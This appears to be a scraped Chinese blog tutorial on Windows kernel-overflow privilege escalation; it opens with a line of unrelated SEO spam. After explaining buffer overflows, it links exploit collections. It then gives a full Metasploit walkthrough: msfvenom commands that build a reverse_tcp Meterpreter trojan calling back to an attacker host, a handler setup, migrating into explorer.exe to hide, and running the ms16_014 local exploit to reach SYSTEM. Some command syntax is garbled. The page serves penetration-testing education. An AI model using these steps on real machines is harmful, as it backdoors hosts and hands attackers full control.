建设一个淘宝客网站,唯品会一家做特卖的网站,婚纱摄影建设网站的目的,衡水提供网站制作公司哪家好目录 Windows内核溢出漏洞原理
溢出漏洞简介
什么是缓冲区
缓冲区溢出
缓冲区溢出目的
Windows内核溢出漏洞利用流程
提权实战思路
手工提权测试
辅助提权
EXP如何寻找
使用MSF提权
关于提权时可能遇到的问题
如果提权的时候发现无法执行命令的话#xff0c;可以上…目录 Windows内核溢出漏洞原理
溢出漏洞简介
什么是缓冲区
缓冲区溢出
缓冲区溢出目的
Windows内核溢出漏洞利用流程
提权实战思路
手工提权测试
辅助提权
EXP如何寻找
使用MSF提权
关于提权时可能遇到的问题
如果提权的时候发现无法执行命令的话可以上传一个cmd.exe到可读写目录再执行 Windows内核溢出漏洞原理
溢出漏洞的全名缓冲区溢出漏洞。
溢出漏洞简介
溢出漏洞是一种计算机程序的可更正性缺陷。
因为它是在程序执行的时候在缓冲区执行的错误代码所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值甚至可以劫持进程执行恶意代码最终获得主机的控制权。 什么是缓冲区
在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲缓冲区就是当你打开应用程序或者文件的时候系统会将数据从内存中复制一份到缓冲区当再次打开时系统直接从缓冲区读取提高打开的速度。 缓冲区溢出
在程序试图将数据放到及其内存中的某一个位置的时候因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然一旦容器满了余下的部分就会溢出在地板上弄得一团糟。 缓冲区溢出目的
缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能这样可以让攻击者取得程序的控制权如果该程序具有足够的权限那么整个主机就被控制了。
在实际场景中攻击者写一个超过缓冲区长度的字符串植入到缓冲区时可能会出现两种结果一是过长的字符串覆盖了相邻的存储单元引起程序运行失败严重的可导致系统崩溃另一个结果就是利用这种漏洞可以劫持进程、执行任意指令甚至可以取得系统权限。 Windows内核溢出漏洞利用流程
Windows系统内核溢出漏洞提权是一种很通用的提权方法攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话攻击者就会向目标系统上传本地溢出程序溢出Administrator权限。 提权流程 (1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表 (2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞. 提权实战思路
大概有两种思路
基于手工测试基于工具的自动化提权MSF/CS
手工提权测试
主要思路就是获取系统上的补丁信息根据第三网站或者项目寻找EXP。
辅助提权
Github项目WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub
该工具如何使用请参考我得另外一篇博客提权神器WindowsVulnScan_貌美不及玲珑心贤妻扶我青云志的博客-CSDN博客
这款工具测试Win7系统时遭遇失败 还有第三方分析的网站提权辅助网页 Windows提权辅助 分析结果 之后就是根据结果寻找EXP测试 EXP如何寻找
Github上的项目推荐
GitHub - Ascotbe/Kernelhub: Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集)
GitHub - nomi-sec/PoC-in-GitHub: PoC auto collect from GitHub. ⚠️ Be careful Malware.
项目上集成有大量的EXP根据上面信息收集获得可利用漏洞逐一尝试即可。 使用MSF提权
测试环境 靶机 Win7 192.168.226.133 攻击机Kali 192.168.226.132
生成木马使用第一条命令生成木马 test.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST192.168.226.132 LPORT3333 -f exe -o test.exe 32位msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST192.168.226.132 LPORT3333 -f exe -o test.exe 64位 进入监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
另外需要注意一个位置exe的位置要注意我们权限低目录没有修改权限需要放在我们具有修改执行权限的目录下。
还有就是监听的网卡设置0.0.0.0 表示监听所有的网卡
这样就建立号后门链接了 上线后进行进程迁移隐藏自己把进程迁移到explore.exe中1844为进程的pid
migrate 1844接下来开始提权使用post/multi/recon/local_exploit_suggester这个模块进行测试
system为Win7最高权限开始提权首先输入background命令将session放到后台 执行攻击模块它可以快速识别系统中可利用的漏洞
use post/multi/recon/local_exploit_suggester
set session 2
run 获得了可以用来利用提权的模块使用对应的脚本然后进行提权即可
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run成功提权 关于提权时可能遇到的问题
如何管理会话 sessions -l 显示所有的会话 sessions -i ID 连接指定的会话 在利用msf进行提权操作是出现timed outError running command shell: Rex::TimeoutError Operation timed out.
虚拟切换为NAT模式即可 MSF漏洞利用完成但无法创建会话的几种原因
参考博客MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话_Q1X1的博客-CSDN博客
如果提权的时候发现无法执行命令的话可以上传一个cmd.exe到可读写目录再执行